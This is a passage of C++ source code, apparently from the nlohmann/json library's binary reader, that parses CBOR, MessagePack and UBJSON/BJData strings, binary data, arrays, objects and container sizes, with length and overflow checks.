string (two-byte uint16_t for n follow)\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result);\n            }\n\n            case 0x7A: // UTF-8 string (four-byte uint32_t for n follow)\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result);\n            }\n\n            case 0x7B: // UTF-8 string (eight-byte uint64_t for n follow)\n            {\n                std::uint64_t len{};\n                return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result);\n            }\n\n            case 0x7F: // UTF-8 string (indefinite length)\n            {\n                while (get() != 0xFF)\n                {\n                    string_t chunk;\n                    if (!get_cbor_string(chunk))\n                    {\n                        return false;\n                    }\n                    result.append(chunk);\n                }\n                return true;\n            }\n\n            default:\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read,\n                    exception_message(input_format_t::cbor, concat(\"expected length specification (0x60-0x7B) or indefinite string type (0x7F); last byte: 0x\", last_token), \"string\"), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @brief reads a CBOR byte array\n\n        This function first reads starting bytes to determine the expected\n        byte array length and then copies this number of bytes into the byte array.\n        Additionally, CBOR's byte arrays with indefinite lengths are supported.\n\n        @param[out] result  created byte array\n\n        @return whether byte array creation completed\n        */\n        bool get_cbor_binary(binary_t& result)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, \"binary\")))\n            {\n                return false;\n            }\n\n            switch (current)\n            {\n                // Binary data (0x00..0x17 bytes follow)\n            case 0x40:\n            case 0x41:\n            case 0x42:\n            case 0x43:\n            case 0x44:\n            case 0x45:\n            case 0x46:\n            case 0x47:\n            case 0x48:\n            case 0x49:\n            case 0x4A:\n            case 0x4B:\n            case 0x4C:\n            case 0x4D:\n            case 0x4E:\n            case 0x4F:\n            case 0x50:\n            case 0x51:\n            case 0x52:\n            case 0x53:\n            case 0x54:\n            case 0x55:\n            case 0x56:\n            case 0x57:\n            {\n                return get_binary(input_format_t::cbor, static_cast<unsigned int>(current) & 0x1Fu, result);\n            }\n\n            case 0x58: // Binary data (one-byte uint8_t for n follows)\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::cbor, len) &&\n                    get_binary(input_format_t::cbor, len, result);\n            }\n\n            case 0x59: // Binary data (two-byte uint16_t for n follow)\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::cbor, len) &&\n                    get_binary(input_format_t::cbor, len, result);\n            }\n\n            case 0x5A: // Binary data (four-byte uint32_t for n follow)\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::cbor, len) &&\n                    get_binary(input_format_t::cbor, len, result);\n            }\n\n            case 0x5B: // Binary data (eight-byte uint64_t for n follow)\n            {\n                std::uint64_t len{};\n                return get_number(input_format_t::cbor, len) &&\n                    get_binary(input_format_t::cbor, len, result);\n            }\n\n            case 0x5F: // Binary data (indefinite length)\n            {\n                while (get() != 0xFF)\n                {\n                    binary_t chunk;\n                    if (!get_cbor_binary(chunk))\n                    {\n                        return false;\n                    }\n                    result.insert(result.end(), chunk.begin(), chunk.end());\n                }\n                return true;\n            }\n\n            default:\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read,\n                    exception_message(input_format_t::cbor, concat(\"expected length specification (0x40-0x5B) or indefinite binary array type (0x5F); last byte: 0x\", last_token), \"binary\"), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @param[in] len  the length of the array or static_cast<std::size_t>(-1) for an\n                        array of indefinite size\n        @param[in] tag_handler how CBOR tags should be treated\n        @return whether array creation completed\n        */\n        bool get_cbor_array(const std::size_t len,\n            const cbor_tag_handler_t tag_handler)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_array(len)))\n            {\n                return false;\n            }\n\n            if (len != static_cast<std::size_t>(-1))\n            {\n                for (std::size_t i = 0; i < len; ++i)\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler)))\n                    {\n                        return false;\n                    }\n                }\n            }\n            else\n            {\n                while (get() != 0xFF)\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(false, tag_handler)))\n                    {\n                        return false;\n                    }\n                }\n            }\n\n            return sax->end_array();\n        }\n\n        /*!\n        @param[in] len  the length of the object or static_cast<std::size_t>(-1) for an\n                        object of indefinite size\n        @param[in] tag_handler how CBOR tags should be treated\n        @return whether object creation completed\n        */\n        bool get_cbor_object(const std::size_t len,\n            const cbor_tag_handler_t tag_handler)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_object(len)))\n            {\n                return false;\n            }\n\n            if (len != 0)\n            {\n                string_t key;\n                if (len != static_cast<std::size_t>(-1))\n                {\n                    for (std::size_t i = 0; i < len; ++i)\n                    {\n                        get();\n                        if (JSON_HEDLEY_UNLIKELY(!get_cbor_string(key) || !sax->key(key)))\n                        {\n                            return false;\n                        }\n\n                        if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler)))\n                        {\n                            return false;\n                        }\n                        key.clear();\n                    }\n                }\n                else\n                {\n                    while (get() != 0xFF)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!get_cbor_string(key) || !sax->key(key)))\n                        {\n                            return false;\n                        }\n\n                        if (JSON_HEDLEY_UNLIKELY(!parse_cbor_internal(true, tag_handler)))\n                        {\n                            return false;\n                        }\n                        key.clear();\n                    }\n                }\n            }\n\n            return sax->end_object();\n        }\n\n        /////////////\n        // MsgPack //\n        /////////////\n\n        /*!\n        @return whether a valid MessagePack value was passed to the SAX parser\n        */\n        bool parse_msgpack_internal()\n        {\n            switch (get())\n            {\n                // EOF\n            case char_traits<char_type>::eof():\n                return unexpect_eof(input_format_t::msgpack, \"value\");\n\n                // positive fixint\n            case 0x00:\n            case 0x01:\n            case 0x02:\n            case 0x03:\n            case 0x04:\n            case 0x05:\n            case 0x06:\n            case 0x07:\n            case 0x08:\n            case 0x09:\n            case 0x0A:\n            case 0x0B:\n            case 0x0C:\n            case 0x0D:\n            case 0x0E:\n            case 0x0F:\n            case 0x10:\n            case 0x11:\n            case 0x12:\n            case 0x13:\n            case 0x14:\n            case 0x15:\n            case 0x16:\n            case 0x17:\n            case 0x18:\n            case 0x19:\n            case 0x1A:\n            case 0x1B:\n            case 0x1C:\n            case 0x1D:\n            case 0x1E:\n            case 0x1F:\n            case 0x20:\n            case 0x21:\n            case 0x22:\n            case 0x23:\n            case 0x24:\n            case 0x25:\n            case 0x26:\n            case 0x27:\n            case 0x28:\n            case 0x29:\n            case 0x2A:\n            case 0x2B:\n            case 0x2C:\n            case 0x2D:\n            case 0x2E:\n            case 0x2F:\n            case 0x30:\n            case 0x31:\n            case 0x32:\n            case 0x33:\n            case 0x34:\n            case 0x35:\n            case 0x36:\n            case 0x37:\n            case 0x38:\n            case 0x39:\n            case 0x3A:\n            case 0x3B:\n            case 0x3C:\n            case 0x3D:\n            case 0x3E:\n            case 0x3F:\n            case 0x40:\n            case 0x41:\n            case 0x42:\n            case 0x43:\n            case 0x44:\n            case 0x45:\n            case 0x46:\n            case 0x47:\n            case 0x48:\n            case 0x49:\n            case 0x4A:\n            case 0x4B:\n            case 0x4C:\n            case 0x4D:\n            case 0x4E:\n            case 0x4F:\n            case 0x50:\n            case 0x51:\n            case 0x52:\n            case 0x53:\n            case 0x54:\n            case 0x55:\n            case 0x56:\n            case 0x57:\n            case 0x58:\n            case 0x59:\n            case 0x5A:\n            case 0x5B:\n            case 0x5C:\n            case 0x5D:\n            case 0x5E:\n            case 0x5F:\n            case 0x60:\n            case 0x61:\n            case 0x62:\n            case 0x63:\n            case 0x64:\n            case 0x65:\n            case 0x66:\n            case 0x67:\n            case 0x68:\n            case 0x69:\n            case 0x6A:\n            case 0x6B:\n            case 0x6C:\n            case 0x6D:\n            case 0x6E:\n            case 0x6F:\n            case 0x70:\n            case 0x71:\n            case 0x72:\n            case 0x73:\n            case 0x74:\n            case 0x75:\n            case 0x76:\n            case 0x77:\n            case 0x78:\n            case 0x79:\n            case 0x7A:\n            case 0x7B:\n            case 0x7C:\n            case 0x7D:\n            case 0x7E:\n            case 0x7F:\n                return sax->number_unsigned(static_cast<number_unsigned_t>(current));\n\n                // fixmap\n            case 0x80:\n            case 0x81:\n            case 0x82:\n            case 0x83:\n            case 0x84:\n            case 0x85:\n            case 0x86:\n            case 0x87:\n            case 0x88:\n            case 0x89:\n            case 0x8A:\n            case 0x8B:\n            case 0x8C:\n            case 0x8D:\n            case 0x8E:\n            case 0x8F:\n                return get_msgpack_object(conditional_static_cast<std::size_t>(static_cast<unsigned int>(current) & 0x0Fu));\n\n                // fixarray\n            case 0x90:\n            case 0x91:\n            case 0x92:\n            case 0x93:\n            case 0x94:\n            case 0x95:\n            case 0x96:\n            case 0x97:\n            case 0x98:\n            case 0x99:\n            case 0x9A:\n            case 0x9B:\n            case 0x9C:\n            case 0x9D:\n            case 0x9E:\n            case 0x9F:\n                return get_msgpack_array(conditional_static_cast<std::size_t>(static_cast<unsigned int>(current) & 0x0Fu));\n\n                // fixstr\n            case 0xA0:\n            case 0xA1:\n            case 0xA2:\n            case 0xA3:\n            case 0xA4:\n            case 0xA5:\n            case 0xA6:\n            case 0xA7:\n            case 0xA8:\n            case 0xA9:\n            case 0xAA:\n            case 0xAB:\n            case 0xAC:\n            case 0xAD:\n            case 0xAE:\n            case 0xAF:\n            case 0xB0:\n            case 0xB1:\n            case 0xB2:\n            case 0xB3:\n            case 0xB4:\n            case 0xB5:\n            case 0xB6:\n            case 0xB7:\n            case 0xB8:\n            case 0xB9:\n            case 0xBA:\n            case 0xBB:\n            case 0xBC:\n            case 0xBD:\n            case 0xBE:\n            case 0xBF:\n            case 0xD9: // str 8\n            case 0xDA: // str 16\n            case 0xDB: // str 32\n            {\n                string_t s;\n                return get_msgpack_string(s) && sax->string(s);\n            }\n\n            case 0xC0: // nil\n                return sax->null();\n\n            case 0xC2: // false\n                return sax->boolean(false);\n\n            case 0xC3: // true\n                return sax->boolean(true);\n\n            case 0xC4: // bin 8\n            case 0xC5: // bin 16\n            case 0xC6: // bin 32\n            case 0xC7: // ext 8\n            case 0xC8: // ext 16\n            case 0xC9: // ext 32\n            case 0xD4: // fixext 1\n            case 0xD5: // fixext 2\n            case 0xD6: // fixext 4\n            case 0xD7: // fixext 8\n            case 0xD8: // fixext 16\n            {\n                binary_t b;\n                return get_msgpack_binary(b) && sax->binary(b);\n            }\n\n            case 0xCA: // float 32\n            {\n                float number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 0xCB: // float 64\n            {\n                double number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 0xCC: // uint 8\n            {\n                std::uint8_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number);\n            }\n\n            case 0xCD: // uint 16\n            {\n                std::uint16_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number);\n            }\n\n            case 0xCE: // uint 32\n            {\n                std::uint32_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number);\n            }\n\n            case 0xCF: // uint 64\n            {\n                std::uint64_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number);\n            }\n\n            case 0xD0: // int 8\n            {\n                std::int8_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_integer(number);\n            }\n\n            case 0xD1: // int 16\n            {\n                std::int16_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_integer(number);\n            }\n\n            case 0xD2: // int 32\n            {\n                std::int32_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_integer(number);\n            }\n\n            case 0xD3: // int 64\n            {\n                std::int64_t number{};\n                return get_number(input_format_t::msgpack, number) && sax->number_integer(number);\n            }\n\n            case 0xDC: // array 16\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::msgpack, len) && get_msgpack_array(static_cast<std::size_t>(len));\n            }\n\n            case 0xDD: // array 32\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::msgpack, len) && get_msgpack_array(conditional_static_cast<std::size_t>(len));\n            }\n\n            case 0xDE: // map 16\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::msgpack, len) && get_msgpack_object(static_cast<std::size_t>(len));\n            }\n\n            case 0xDF: // map 32\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::msgpack, len) && get_msgpack_object(conditional_static_cast<std::size_t>(len));\n            }\n\n            // negative fixint\n            case 0xE0:\n            case 0xE1:\n            case 0xE2:\n            case 0xE3:\n            case 0xE4:\n            case 0xE5:\n            case 0xE6:\n            case 0xE7:\n            case 0xE8:\n            case 0xE9:\n            case 0xEA:\n            case 0xEB:\n            case 0xEC:\n            case 0xED:\n            case 0xEE:\n            case 0xEF:\n            case 0xF0:\n            case 0xF1:\n            case 0xF2:\n            case 0xF3:\n            case 0xF4:\n            case 0xF5:\n            case 0xF6:\n            case 0xF7:\n            case 0xF8:\n            case 0xF9:\n            case 0xFA:\n            case 0xFB:\n            case 0xFC:\n            case 0xFD:\n            case 0xFE:\n            case 0xFF:\n                return sax->number_integer(static_cast<std::int8_t>(current));\n\n            default: // anything else\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                    exception_message(input_format_t::msgpack, concat(\"invalid byte: 0x\", last_token), \"value\"), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @brief reads a MessagePack string\n\n        This function first reads starting bytes to determine the expected\n        string length and then copies this number of bytes into a string.\n\n        @param[out] result  created string\n\n        @return whether string creation completed\n        */\n        bool get_msgpack_string(string_t& result)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::msgpack, \"string\")))\n            {\n                return false;\n            }\n\n            switch (current)\n            {\n                // fixstr\n            case 0xA0:\n            case 0xA1:\n            case 0xA2:\n            case 0xA3:\n            case 0xA4:\n            case 0xA5:\n            case 0xA6:\n            case 0xA7:\n            case 0xA8:\n            case 0xA9:\n            case 0xAA:\n            case 0xAB:\n            case 0xAC:\n            case 0xAD:\n            case 0xAE:\n            case 0xAF:\n            case 0xB0:\n            case 0xB1:\n            case 0xB2:\n            case 0xB3:\n            case 0xB4:\n            case 0xB5:\n            case 0xB6:\n            case 0xB7:\n            case 0xB8:\n            case 0xB9:\n            case 0xBA:\n            case 0xBB:\n            case 0xBC:\n            case 0xBD:\n            case 0xBE:\n            case 0xBF:\n            {\n                return get_string(input_format_t::msgpack, static_cast<unsigned int>(current) & 0x1Fu, result);\n            }\n\n            case 0xD9: // str 8\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result);\n            }\n\n            case 0xDA: // str 16\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result);\n            }\n\n            case 0xDB: // str 32\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result);\n            }\n\n            default:\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read,\n                    exception_message(input_format_t::msgpack, concat(\"expected length specification (0xA0-0xBF, 0xD9-0xDB); last byte: 0x\", last_token), \"string\"), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @brief reads a MessagePack byte array\n\n        This function first reads starting bytes to determine the expected\n        byte array length and then copies this number of bytes into a byte array.\n\n        @param[out] result  created byte array\n\n        @return whether byte array creation completed\n        */\n        bool get_msgpack_binary(binary_t& result)\n        {\n            // helper function to set the subtype\n            auto assign_and_return_true = [&result](std::int8_t subtype)\n                {\n                    result.set_subtype(static_cast<std::uint8_t>(subtype));\n                    return true;\n                };\n\n            switch (current)\n            {\n            case 0xC4: // bin 8\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_binary(input_format_t::msgpack, len, result);\n            }\n\n            case 0xC5: // bin 16\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_binary(input_format_t::msgpack, len, result);\n            }\n\n            case 0xC6: // bin 32\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_binary(input_format_t::msgpack, len, result);\n            }\n\n            case 0xC7: // ext 8\n            {\n                std::uint8_t len{};\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, len, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xC8: // ext 16\n            {\n                std::uint16_t len{};\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, len, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xC9: // ext 32\n            {\n                std::uint32_t len{};\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, len) &&\n                    get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, len, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xD4: // fixext 1\n            {\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, 1, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xD5: // fixext 2\n            {\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, 2, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xD6: // fixext 4\n            {\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, 4, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xD7: // fixext 8\n            {\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, 8, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            case 0xD8: // fixext 16\n            {\n                std::int8_t subtype{};\n                return get_number(input_format_t::msgpack, subtype) &&\n                    get_binary(input_format_t::msgpack, 16, result) &&\n                    assign_and_return_true(subtype);\n            }\n\n            default:           // LCOV_EXCL_LINE\n                return false;  // LCOV_EXCL_LINE\n            }\n        }\n\n        /*!\n        @param[in] len  the length of the array\n        @return whether array creation completed\n        */\n        bool get_msgpack_array(const std::size_t len)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_array(len)))\n            {\n                return false;\n            }\n\n            for (std::size_t i = 0; i < len; ++i)\n            {\n                if (JSON_HEDLEY_UNLIKELY(!parse_msgpack_internal()))\n                {\n                    return false;\n                }\n            }\n\n            return sax->end_array();\n        }\n\n        /*!\n        @param[in] len  the length of the object\n        @return whether object creation completed\n        */\n        bool get_msgpack_object(const std::size_t len)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_object(len)))\n            {\n                return false;\n            }\n\n            string_t key;\n            for (std::size_t i = 0; i < len; ++i)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!get_msgpack_string(key) || !sax->key(key)))\n                {\n                    return false;\n                }\n\n                if (JSON_HEDLEY_UNLIKELY(!parse_msgpack_internal()))\n                {\n                    return false;\n                }\n                key.clear();\n            }\n\n            return sax->end_object();\n        }\n\n        ////////////\n        // UBJSON //\n        ////////////\n\n        /*!\n        @param[in] get_char  whether a new character should be retrieved from the\n                             input (true, default) or whether the last read\n                             character should be considered instead\n\n        @return whether a valid UBJSON value was passed to the SAX parser\n        */\n        bool parse_ubjson_internal(const bool get_char = true)\n        {\n            return get_ubjson_value(get_char ? get_ignore_noop() : current);\n        }\n\n        /*!\n        @brief reads a UBJSON string\n\n        This function is either called after reading the 'S' byte explicitly\n        indicating a string, or in case of an object key where the 'S' byte can be\n        left out.\n\n        @param[out] result   created string\n        @param[in] get_char  whether a new character should be retrieved from the\n                             input (true, default) or whether the last read\n                             character should be considered instead\n\n        @return whether string creation completed\n        */\n        bool get_ubjson_string(string_t& result, const bool get_char = true)\n        {\n            if (get_char)\n            {\n                get();  // TODO(niels): may we ignore N here?\n            }\n\n            if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"value\")))\n            {\n                return false;\n            }\n\n            switch (current)\n            {\n            case 'U':\n            {\n                std::uint8_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'i':\n            {\n                std::int8_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'I':\n            {\n                std::int16_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'l':\n            {\n                std::int32_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'L':\n            {\n                std::int64_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'u':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint16_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'm':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint32_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            case 'M':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint64_t len{};\n                return get_number(input_format, len) && get_string(input_format, len, result);\n            }\n\n            default:\n                break;\n            }\n            auto last_token = get_token_string();\n            std::string message;\n\n            if (input_format != input_format_t::bjdata)\n            {\n                message = \"expected length type specification (U, i, I, l, L); last byte: 0x\" + last_token;\n            }\n            else\n            {\n                message = \"expected length type specification (U, i, u, I, m, l, M, L); last byte: 0x\" + last_token;\n            }\n            return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format, message, \"string\"), nullptr));\n        }\n\n        /*!\n        @param[out] dim  an integer vector storing the ND array dimensions\n        @return whether reading ND array size vector is successful\n        */\n        bool get_ubjson_ndarray_size(std::vector<size_t>& dim)\n        {\n            std::pair<std::size_t, char_int_type> size_and_type;\n            size_t dimlen = 0;\n            bool no_ndarray = true;\n\n            if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_type(size_and_type, no_ndarray)))\n            {\n                return false;\n            }\n\n            if (size_and_type.first != npos)\n            {\n                if (size_and_type.second != 0)\n                {\n                    if (size_and_type.second != 'N')\n                    {\n                        for (std::size_t i = 0; i < size_and_type.first; ++i)\n                        {\n                            if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_value(dimlen, no_ndarray, size_and_type.second)))\n                            {\n                                return false;\n                            }\n                            dim.push_back(dimlen);\n                        }\n                    }\n                }\n                else\n                {\n                    for (std::size_t i = 0; i < size_and_type.first; ++i)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_value(dimlen, no_ndarray)))\n                        {\n                            return false;\n                        }\n                        dim.push_back(dimlen);\n                    }\n                }\n            }\n            else\n            {\n                while (current != ']')\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_value(dimlen, no_ndarray, current)))\n                    {\n                        return false;\n                    }\n                    dim.push_back(dimlen);\n                    get_ignore_noop();\n                }\n            }\n            return true;\n        }\n\n        /*!\n        @param[out] result  determined size\n        @param[in,out] is_ndarray  for input, `true` means already inside an ndarray vector\n                                   or ndarray dimension is not allowed; `false` means ndarray\n                                   is allowed; for output, `true` means an ndarray is found;\n                                   is_ndarray can only return `true` when its initial value\n                                   is `false`\n        @param[in] prefix  type marker if already read, otherwise set to 0\n\n        @return whether size determination completed\n        */\n        bool get_ubjson_size_value(std::size_t& result, bool& is_ndarray, char_int_type prefix = 0)\n        {\n            if (prefix == 0)\n            {\n                prefix = get_ignore_noop();\n            }\n\n            switch (prefix)\n            {\n            case 'U':\n            {\n                std::uint8_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                result = static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'i':\n            {\n                std::int8_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                if (number < 0)\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(113, chars_read,\n                        exception_message(input_format, \"count in an optimized container must be positive\", \"size\"), nullptr));\n                }\n                result = static_cast<std::size_t>(number); // NOLINT(bugprone-signed-char-misuse,cert-str34-c): number is not a char\n                return true;\n            }\n\n            case 'I':\n            {\n                std::int16_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                if (number < 0)\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(113, chars_read,\n                        exception_message(input_format, \"count in an optimized container must be positive\", \"size\"), nullptr));\n                }\n                result = static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'l':\n            {\n                std::int32_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                if (number < 0)\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(113, chars_read,\n                        exception_message(input_format, \"count in an optimized container must be positive\", \"size\"), nullptr));\n                }\n                result = static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'L':\n            {\n                std::int64_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                if (number < 0)\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(113, chars_read,\n                        exception_message(input_format, \"count in an optimized container must be positive\", \"size\"), nullptr));\n                }\n                if (!value_in_range_of<std::size_t>(number))\n                {\n                    return sax->parse_error(chars_read, get_token_string(), out_of_range::create(408,\n                        exception_message(input_format, \"integer value overflow\", \"size\"), nullptr));\n                }\n                result = static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'u':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint16_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                result = static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'm':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint32_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                result = conditional_static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case 'M':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint64_t number{};\n                if (JSON_HEDLEY_UNLIKELY(!get_number(input_format, number)))\n                {\n                    return false;\n                }\n                if (!value_in_range_of<std::size_t>(number))\n                {\n                    return sax->parse_error(chars_read, get_token_string(), out_of_range::create(408,\n                        exception_message(input_format, \"integer value overflow\", \"size\"), nullptr));\n                }\n                result = detail::conditional_static_cast<std::size_t>(number);\n                return true;\n            }\n\n            case '[':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                if (is_ndarray) // ndarray dimensional vector can only contain integers, and can not embed another array\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(113, chars_read, exception_message(input_format, \"ndarray dimensional vector is not allowed\", \"size\"), nullptr));\n                }\n                std::vector<size_t> dim;\n                if (JSON_HEDLEY_UNLIKELY(!get_ubjson_ndarray_size(dim)))\n                {\n                    return false;\n                }\n                if (dim.size() == 1 || (dim.size() == 2 && dim.at(0) == 1)) // return normal array size if 1D row vector\n                {\n                    result = dim.at(dim.size() - 1);\n                    return true;\n                }\n                if (!dim.empty())  // if ndarray, convert to an object in JData annotated array format\n                {\n                    for (auto i : dim) // test if any dimension in an ndarray is 0, if so, return a 1D empty container\n                    {\n                        if (i == 0)\n                        {\n                            result = 0;\n                            return true;\n                        }\n                    }\n\n                    string_t key = \"_ArraySize_\";\n                    if (JSON_HEDLEY_UNLIKELY(!sax->start_object(3) || !sax->key(key) || !sax->start_array(dim.size())))\n                    {\n                        return false;\n                    }\n                    result = 1;\n                    for (auto i : dim)\n                    {\n                        result *= i;\n                        if (result == 0 || result == npos) // because dim elements shall not have zeros, result = 0 means overflow happened; it also can't be npos as it is used to initialize size in get_ubjson_size_type()\n                        {\n                            return sax->parse_error(chars_read, get_token_string(), out_of_range::create(408, exception_message(input_format, \"excessive ndarray size caused overflow\", \"size\"), nullptr));\n                        }\n                        if (JSON_HEDLEY_UNLIKELY(!sax->number_unsigned(static_cast<number_unsigned_t>(i))))\n                        {\n                            return false;\n                        }\n                    }\n                    is_ndarray = true;\n                    return sax->end_array();\n                }\n                result = 0;\n                return true;\n            }\n\n            default:\n                break;\n            }\n            auto last_token = get_token_string();\n            std::string message;\n\n            if (input_format != input_format_t::bjdata)\n            {\n                message = \"expected length type specification (U, i, I, l, L) after '#'; last byte: 0x\" + last_token;\n            }\n            else\n            {\n                message = \"expected length type specification (U, i, u, I, m, l, M, L) after '#'; last byte: 0x\" + last_token;\n            }\n            return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format, message, \"size\"), nullptr));\n        }\n\n        /*!\n        @brief determine the type and size for a container\n\n        In the optimized UBJSON format, a type and a size can be provided to allow\n        for a more compact representation.\n\n        @param[out] result  pair of the size and the type\n        @param[in] inside_ndarray  whether the parser is parsing an ND array dimensional vector\n\n        @return whether pair creation completed\n        */\n        bool get_ubjson_size_type(std::pair<std::size_t, char_int_type>& result, bool inside_ndarray = false)\n        {\n            result.first = npos; // size\n            result.second = 0; // type\n            bool is_ndarray = false;\n\n            